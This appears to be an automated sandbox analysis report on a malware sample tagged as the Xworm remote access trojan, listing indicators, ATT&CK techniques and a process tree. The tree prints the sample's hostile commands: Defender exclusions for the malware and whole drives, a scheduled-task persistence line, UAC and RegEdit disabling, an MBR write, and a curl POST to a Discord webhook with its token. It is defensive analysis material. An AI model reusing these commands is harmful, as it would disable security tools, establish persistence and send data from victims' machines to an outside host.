gurcu | de4d28dd8c9208fe86dec1e014913f3cfefdcadf73a7adb6eb062677f5f5772f

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "0"	vimqcd.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	vimqcd.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1136334635-2482839916-910800802-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2456	powershell.exe
4004	powershell.exe
1904	powershell.exe
2848	powershell.exe
2832	powershell.exe
2268	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1136334635-2482839916-910800802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	vimqcd.exe

Disables Task Manager via registry modification
evasion

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x000100000002ab04-230.dat	acprotect

Executes dropped EXE 12 IoCs

pid	Process
2776	winlogon.exe
4744	rfkulx.exe
4376	vdxfkb.exe
1572	winlogon.exe
1520	vqqrwc.exe
2204	ERR0R422.exe
4328	winlogon.exe
2236	winlogon.exe
3960	pztiot.exe
424	iwmuqe.EXE
4088	vimqcd.exe
4692	winlogon.exe

Loads dropped DLL 1 IoCs

pid	Process
3216	java.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000100000002aafd-153.dat	upx
behavioral1/memory/2204-187-0x0000000000400000-0x000000000041D000-memory.dmp	upx
behavioral1/memory/2204-204-0x0000000000400000-0x000000000041D000-memory.dmp	upx
behavioral1/files/0x000100000002ab04-230.dat	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1136334635-2482839916-910800802-1000\Software\Microsoft\Windows\CurrentVersion\Run\winlogon = "C:\\ProgramData\\winlogon.exe"	ey341.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Delete value	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	vimqcd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	vimqcd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
1	discord.com
3	pastebin.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	vimqcd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

pid	Process
3392	timeout.exe

Modifies Control Panel 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1136334635-2482839916-910800802-1000\Control Panel\Mouse	vimqcd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1136334635-2482839916-910800802-1000\Control Panel\Mouse\SwapMouseButtons = "1"	vimqcd.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1136334635-2482839916-910800802-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1136334635-2482839916-910800802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1136334635-2482839916-910800802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1136334635-2482839916-910800802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1136334635-2482839916-910800802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	vqqrwc.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1136334635-2482839916-910800802-1000\{C9CC2393-3507-4514-AE0E-85DC819712B2}	explorer.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1580	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2456	powershell.exe
2456	powershell.exe
4004	powershell.exe
4004	powershell.exe
1904	powershell.exe
1904	powershell.exe
2848	powershell.exe
2848	powershell.exe
2896	ey341.exe
2832	powershell.exe
2832	powershell.exe
2268	powershell.exe
2268	powershell.exe
2896	ey341.exe
2896	ey341.exe
2896	ey341.exe
2896	ey341.exe
2896	ey341.exe
2896	ey341.exe
2896	ey341.exe
2896	ey341.exe
2896	ey341.exe
2896	ey341.exe
2896	ey341.exe
2896	ey341.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe
4088	vimqcd.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	2896	ey341.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2896	ey341.exe
Token: SeDebugPrivilege	2776	winlogon.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: 33	4048	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4048	AUDIODG.EXE
Token: SeDebugPrivilege	1572	winlogon.exe
Token: SeDebugPrivilege	4328	winlogon.exe
Token: SeDebugPrivilege	2236	winlogon.exe
Token: SeDebugPrivilege	4692	winlogon.exe
Token: SeShutdownPrivilege	2436	explorer.exe
Token: SeCreatePagefilePrivilege	2436	explorer.exe
Token: SeShutdownPrivilege	2436	explorer.exe
Token: SeCreatePagefilePrivilege	2436	explorer.exe
Token: SeShutdownPrivilege	2436	explorer.exe
Token: SeCreatePagefilePrivilege	2436	explorer.exe
Token: SeShutdownPrivilege	2436	explorer.exe
Token: SeCreatePagefilePrivilege	2436	explorer.exe
Token: SeShutdownPrivilege	2436	explorer.exe
Token: SeCreatePagefilePrivilege	2436	explorer.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe
2436	explorer.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2896	ey341.exe
3216	java.exe
3216	java.exe
3960	pztiot.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 2896 wrote to memory of 2456	2896	ey341.exe	79
PID 2896 wrote to memory of 2456	2896	ey341.exe	79
PID 2896 wrote to memory of 4004	2896	ey341.exe	81
PID 2896 wrote to memory of 4004	2896	ey341.exe	81
PID 2896 wrote to memory of 1904	2896	ey341.exe	83
PID 2896 wrote to memory of 1904	2896	ey341.exe	83
PID 2896 wrote to memory of 2848	2896	ey341.exe	85
PID 2896 wrote to memory of 2848	2896	ey341.exe	85
PID 2896 wrote to memory of 1580	2896	ey341.exe	87
PID 2896 wrote to memory of 1580	2896	ey341.exe	87
PID 2896 wrote to memory of 4744	2896	ey341.exe	90
PID 2896 wrote to memory of 4744	2896	ey341.exe	90
PID 4744 wrote to memory of 1216	4744	rfkulx.exe	91
PID 4744 wrote to memory of 1216	4744	rfkulx.exe	91
PID 1216 wrote to memory of 4904	1216	cmd.exe	93
PID 1216 wrote to memory of 4904	1216	cmd.exe	93
PID 4904 wrote to memory of 2808	4904	net.exe	94
PID 4904 wrote to memory of 2808	4904	net.exe	94
PID 1216 wrote to memory of 4104	1216	cmd.exe	95
PID 1216 wrote to memory of 4104	1216	cmd.exe	95
PID 4104 wrote to memory of 1288	4104	net.exe	96
PID 4104 wrote to memory of 1288	4104	net.exe	96
PID 1216 wrote to memory of 2832	1216	cmd.exe	97
PID 1216 wrote to memory of 2832	1216	cmd.exe	97
PID 1216 wrote to memory of 2268	1216	cmd.exe	98
PID 1216 wrote to memory of 2268	1216	cmd.exe	98
PID 1216 wrote to memory of 3392	1216	cmd.exe	99
PID 1216 wrote to memory of 3392	1216	cmd.exe	99
PID 1216 wrote to memory of 4852	1216	cmd.exe	100
PID 1216 wrote to memory of 4852	1216	cmd.exe	100
PID 2896 wrote to memory of 4376	2896	ey341.exe	101
PID 2896 wrote to memory of 4376	2896	ey341.exe	101
PID 2896 wrote to memory of 1520	2896	ey341.exe	104
PID 2896 wrote to memory of 1520	2896	ey341.exe	104
PID 2896 wrote to memory of 1520	2896	ey341.exe	104
PID 1520 wrote to memory of 2204	1520	vqqrwc.exe	105
PID 1520 wrote to memory of 2204	1520	vqqrwc.exe	105
PID 1520 wrote to memory of 2204	1520	vqqrwc.exe	105
PID 2204 wrote to memory of 3112	2204	ERR0R422.exe	106
PID 2204 wrote to memory of 3112	2204	ERR0R422.exe	106
PID 3112 wrote to memory of 3216	3112	cmd.exe	110
PID 3112 wrote to memory of 3216	3112	cmd.exe	110
PID 2896 wrote to memory of 3960	2896	ey341.exe	114
PID 2896 wrote to memory of 3960	2896	ey341.exe	114
PID 2896 wrote to memory of 3960	2896	ey341.exe	114
PID 2896 wrote to memory of 424	2896	ey341.exe	115
PID 2896 wrote to memory of 424	2896	ey341.exe	115
PID 2896 wrote to memory of 424	2896	ey341.exe	115
PID 2896 wrote to memory of 4088	2896	ey341.exe	117
PID 2896 wrote to memory of 4088	2896	ey341.exe	117
PID 2896 wrote to memory of 4088	2896	ey341.exe	117
PID 2896 wrote to memory of 4256	2896	ey341.exe	120
PID 2896 wrote to memory of 4256	2896	ey341.exe	120
PID 2896 wrote to memory of 3552	2896	ey341.exe	122
PID 2896 wrote to memory of 3552	2896	ey341.exe	122
PID 4476 wrote to memory of 2436	4476	sihost.exe	129
PID 4476 wrote to memory of 2436	4476	sihost.exe	129

System policy modification 1 TTPs 5 IoCs

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	vimqcd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	vimqcd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	vimqcd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop = "1"	vimqcd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\HideFastUserSwitching = "1"	vimqcd.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\ey341.exe
"C:\Users\Admin\AppData\Local\Temp\ey341.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ey341.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'ey341.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\winlogon.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winlogon.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winlogon" /tr "C:\ProgramData\winlogon.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1580
- C:\Users\Admin\AppData\Local\Temp\rfkulx.exe
  "C:\Users\Admin\AppData\Local\Temp\rfkulx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4744
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2DD1.tmp\2DD2.tmp\2DD3.bat C:\Users\Admin\AppData\Local\Temp\rfkulx.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1216
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4904
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:2808
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4104
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'F:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2268
  - - C:\Windows\system32\timeout.exe
      Timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3392
  - - C:\Windows\system32\curl.exe
      curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"ok yes = Admin\"}" https://discord.com/api/webhooks/1256685656042770514/cT3cfWiuStxsqAn9Hxjtb_A3ddEwoqWoI__e_KjA2vlu7h3WeLiaJNZp_qhl3f3E_uQo
      4⤵
      PID:4852
- C:\Users\Admin\AppData\Local\Temp\vdxfkb.exe
  "C:\Users\Admin\AppData\Local\Temp\vdxfkb.exe"
  2⤵
  - Executes dropped EXE
  PID:4376
- C:\Users\Admin\AppData\Local\Temp\vqqrwc.exe
  "C:\Users\Admin\AppData\Local\Temp\vqqrwc.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\54455354\ERR0R422.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\54455354\ERR0R422.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2204
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2EE6.tmp\2EE7.tmp\2EE8.bat C:\Users\Admin\AppData\Local\Microsoft\Windows\54455354\ERR0R422.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3112
    - - C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
        
        java -Xmx1024M -Xms1024M -cp ERROR422.jar "-Dorg.lwjgl.librarypath=C:\Users\Admin\AppData\Local\Microsoft\Windows\54455354/natives" "-Dnet.java.games.input.librarypath=C:\Users\Admin\AppData\Local\Microsoft\Windows\54455354/natives" Start
        5⤵
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:3216
- C:\Users\Admin\AppData\Local\Temp\pztiot.exe
  "C:\Users\Admin\AppData\Local\Temp\pztiot.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3960
- C:\Users\Admin\AppData\Local\Temp\iwmuqe.EXE
  "C:\Users\Admin\AppData\Local\Temp\iwmuqe.EXE"
  2⤵
  - Executes dropped EXE
  PID:424
- C:\Users\Admin\AppData\Local\Temp\vimqcd.exe
  "C:\Users\Admin\AppData\Local\Temp\vimqcd.exe"
  2⤵
  - Modifies WinLogon for persistence
  - UAC bypass
  - Disables RegEdit via registry modification
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Modifies Control Panel
  - Suspicious behavior: EnumeratesProcesses
  - System policy modification
  PID:4088
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /delete /f /tn "winlogon"
  2⤵
  PID:4256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFFE8.tmp.bat""
  2⤵
  PID:3552

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2776

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004DC 0x00000000000004E0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4048

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1572

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4328

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2236

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:3044

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4692

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:4476
- C:\Windows\explorer.exe
  explorer.exe /LOADSAVEDWINDOWS
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2436

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:4216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry